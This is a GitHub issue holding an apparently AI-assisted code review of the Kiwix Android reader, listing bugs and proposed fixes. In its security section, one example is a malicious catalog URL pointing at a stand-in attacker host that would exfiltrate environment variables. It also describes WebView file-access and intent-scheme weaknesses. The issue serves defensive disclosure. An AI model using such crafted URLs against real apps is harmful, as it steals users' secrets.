Skip to content

Code review: JNI use-after-free race, credential exfiltration via catalog URL, dead compressed-file/mimetype/range guards #5070

Description

@soloturn

AI-assisted review. Filed by agent driven by @soloturn via GDD.

Reviewed WebView integration, the ZIM reader/content-serving path, download/library sync code, and ViewModel/coroutine usage for simplification, inefficiency, and error-proneness. Findings below, worst first. Happy to send PRs for any of these on request.

Fix status

# Section PR
1 Native/JNI crash risk split to #5098
2 Security #5071
3 Silent logic bugs #5073
4 Crashes #5075
5 Resource/memory leaks #5075
6 Other #5075
7 Minor #5077

Security

  1. core/src/main/java/org/kiwix/kiwixmobile/core/data/remote/BasicAuthInterceptor.kt:33-53secretKey extracts text between {{ and }} in the book URL and resolves it via System.getenv(...), then sends it as Basic-auth credentials to that same URL's host. Book URLs come from the remote OPDS catalog, so a catalog entry https://{{ANY_ENV_VAR}}@attacker.example/x.zim makes the app read an arbitrary env var and exfiltrate it to the attacker's host. No allowlist on either the variable name or destination host. Fix: resolve credentials from a fixed, app-controlled allowlist of key names, only for a pinned set of hosts.
  2. core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixWebView.kt:79,86 + core/src/main/java/org/kiwix/kiwixmobile/core/main/CoreWebViewClient.kt:69-72javaScriptEnabled = true together with the deprecated allowUniversalAccessFromFileURLs = true, and any URL not matching the content prefix is passed unfiltered into Intent(ACTION_VIEW, url.toUri())startActivity. ZIM content is untrusted third-party data; allowUniversalAccessFromFileURLs lets script in a file://-origin document read arbitrary cross-origin content, and there's no scheme allowlist before launching an external intent — a ZIM page can drive the app into launching file:///content:///vendor-specific schemes. Fix: drop allowUniversalAccessFromFileURLs (content is served over an https://kiwix.app/ prefix, not file://); allowlist http/https/mailto/tel before constructing the external intent.
  3. core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:405-407 — external ACTION_VIEW content URIs (from any app) are converted to filesystem paths via "$uri".contains("root") && "$uri".endsWith("zim") -> "$uri".substringAfter("/root"), matching any authority/path segment that happens to contain "root," with no decoding, canonicalization, or check that the result lies under an expected storage root. Fix: match the provider authority explicitly, canonicalize the result, verify it's under an allowed storage root.

Silent logic bugs

  1. core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:276compressedExtensions.any { it != extension } is always true (5-entry list), so the "skip direct-access streaming for compressed items" branch never actually gates anything. Fix: if (extension !in compressedExtensions).
  2. core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:497-498truncateMimeType does replace("^([^ ]+).*$", "$1") using String.replace(String, String), which is a literal substring replacement, not regex — it never truncates. This is the mimetype value fed into WebResourceResponse for every ZIM resource. Fix: replace(Regex("^([^ ]+).*$"), "$1") or substringBefore(' ').substringBefore(';').
  3. core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimReaderContainer.kt:72-81 — when the WebView sends a Range header, the response is marked HTTP 206 with a Content-Range header reflecting the requested offset, but the body (zimFileReader?.load(url)) is always the complete item from offset 0. Seeking in ZIM-embedded video/audio yields corrupt playback since delivered bytes don't match the declared range; the parsed range value is also unvalidated text spliced into a response header. Fix: parse and validate the range, then actually skip/slice the stream to the requested offset (or drop 206 support).

Crashes

  1. core/src/main/java/org/kiwix/kiwixmobile/core/main/KiwixTextToSpeech.kt:267-312TTSTask.onDone skips its bounds/stop checks when the last piece finishes while paused, then pieces[currentPiece.getAndIncrement()] runs past the end; separately pause() does an unguarded decrementAndGet() with no idempotency check, so two quick pauses drive the index negative. IndexOutOfBoundsException on a background thread from ordinary pause-near-end interaction. Fix: bound-check immediately before indexing; make pause() idempotent.
  2. core/src/main/java/org/kiwix/kiwixmobile/core/utils/NetworkUtils.kt:29-35getFileNameFromUrl computes url1.substring(url1.lastIndexOf('/') + 1, index) where index = url1.lastIndexOf('?'); for a URL like https://host/a?b/file.zim, the start offset exceeds indexStringIndexOutOfBoundsException. Feeds the download destination path from a remote-catalog-supplied URL, with no sanitization on the result either. Fix: use Uri.parse(url).lastPathSegment and sanitize before building the destination path.
  3. core/src/main/java/org/kiwix/kiwixmobile/core/utils/files/FileUtils.kt:863-866zimReaderContainer.load(source, emptyMap()).data.readBytes() has no .use { } (leaks the underlying fd on the direct-access path) and .data/zimFileReader?.load(url) are platform-nullable, so a "save media" attempt with no ZIM open NPEs. Fix: ?.use { it.readBytes() } with a null-safe fallback.

Resource/memory leaks

  1. core/src/main/java/org/kiwix/kiwixmobile/core/search/viewmodel/SearchViewModel.kt:193-201 — a SuggestionSearch native object is created on every debounced search-keystroke via mapLatest, and is never disposed anywhere in the codebase (grep confirms only Archive/SuggestionSearcher/SpellingsDB/Bookmark get .dispose() calls). Type-as-you-search grows native heap unboundedly for the life of the process. Fix: dispose the previous SuggestionSearch when mapLatest replaces it and in onCleared.
  2. core/src/main/java/org/kiwix/kiwixmobile/core/reader/ZimFileReader.kt:378-392 — the video/audio asset-cache fallback (mp4/webm/mkv/warc) buffers the entire item into a single ByteArray and rewrites it to disk on every playback request with no existence check first; the cache key is only the last path segment, so two assets with the same basename in different ZIM directories collide and serve each other's bytes. Fix: skip the write when cached, stream instead of buffering, key on full path hash.

Other

  1. core/src/main/java/org/kiwix/kiwixmobile/core/downloader/downloadManager/DownloadMonitorService.kt:291-303startForeground() is called from an ad-hoc CoroutineScope(ioDispatcher).launch { } (not the service's own scope, so it survives onDestroy) after a suspending DataStore read; risks ForegroundServiceDidNotStartInTimeException if the read is slow, and the surrounding runCatching doesn't cover the launched coroutine's body. Fix: call startForeground synchronously in onCreate with a placeholder, update once the real value arrives; use the service scope.
  2. app/src/main/java/org/kiwix/kiwixmobile/main/KiwixMainActivity.kt:147 + core/.../page/bookmark/viewmodel/BookmarkViewModel.kt:50, core/.../page/history/viewmodel/HistoryViewModel.kt:50, core/.../page/notes/viewmodel/NotesViewModel.kt:58runBlocking { kiwixDataStore.<x>.first() } on the main thread during first composition / ViewModel construction. Cold-start jank, ANR risk under storage pressure. Fix: seed with a default and collect the real value asynchronously.

Minor (verified, lower impact)

  • core/.../utils/files/FileUtils.kt:435-437getFilePathWithFolderFromUri drops every path segment starting with "0", not just the primary-storage token, silently mangling directories like 01_wiki.
  • core/.../extensions/CursorExtensions.kt:22-27forEachRow closes the Cursor after the loop, not in a finally; a throw inside block leaks it.
  • core/.../dao/LibkiwixBookmarks.kt:111-129 — unsynchronized double-checked-locking flag (initialized read outside the mutex, written inside, no @Volatile).
  • core/.../utils/files/FileUtils.kt:106-124deleteCachedFiles is @Synchronized but its body is CoroutineScope(ioDispatcher).launch { }; the lock only guards the launch, providing no real mutual exclusion, and the ad-hoc scope is never cancelled.
  • core/.../utils/files/FileUtils.kt:131substring(filePath.length - ChunkUtils.PART.length) throws for paths shorter than .part.
  • core/.../reader/ZimFileReader.kt:303-307 + CoreWebViewClient.kt:49-53isRedirect/getRedirect called up to 4 times per navigation, each a full JNI lookup; similar redundant getItem calls in ZimReaderContainer.load.
  • core/.../reader/ZimFileReader.kt:459spellingsDBCreationMutex is a companion-object (process-global) mutex, serializing spelling-DB init across all ZIM readers instead of per-instance.
  • Multiple uncancelled bare CoroutineScope(ioDispatcher) launches with no lifecycle owner: ZimFileReader.kt:89, KiwixWebView.kt:187, DownloadManagerRequester.kt:55,86, ValidateZIMFiles.kt:58, ErrorActivity.kt:208, KiwixMainActivity.kt:201.
  • core/.../reader/ZimReaderSource.kt:39-43 — class is Serializable but holds List<AssetFileDescriptor> (not serializable); serializing it (e.g. into a Bundle) throws NotSerializableException.
  • core/.../reader/ZimFileReader.kt:144fileSize divides by 1024 while the adjacent comment says the value needs converting to bytes; code and comment contradict each other.
  • core/.../utils/files/FileSearch.kt:71-72, core/.../dao/LibkiwixBookOnDisk.kt:226Regex("/\\.Trash/") recompiled per row of a whole-device MediaStore scan; same pattern in BasicAuthInterceptor.kt:48,57 (per HTTP request) and NetworkUtils.kt:56-61 (five regexes per call).
  • core/.../main/reader/helper/ReaderHistoryManager.kt:57 — new SimpleDateFormat constructed per formatted timestamp instead of cached.
  • core/.../main/CoreWebViewClient.kt:148-153 — double-brace-initialized anonymous HashMap subclass for a two-entry constant map.
  • core/.../main/CoreWebViewClient.kt:59-62 — comment says "Allow javascript" but returning true from shouldOverrideUrlLoading means the WebView will not load the URL; comment and behavior disagree.
  • core/.../StorageObserver.kt:66-76zimFileReader.dispose() isn't in a finally; a throw from libkiwixBookFactory.create()/update()/addBookToLibrary leaks the native Archive for that file, once per failing ZIM during a full device scan.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions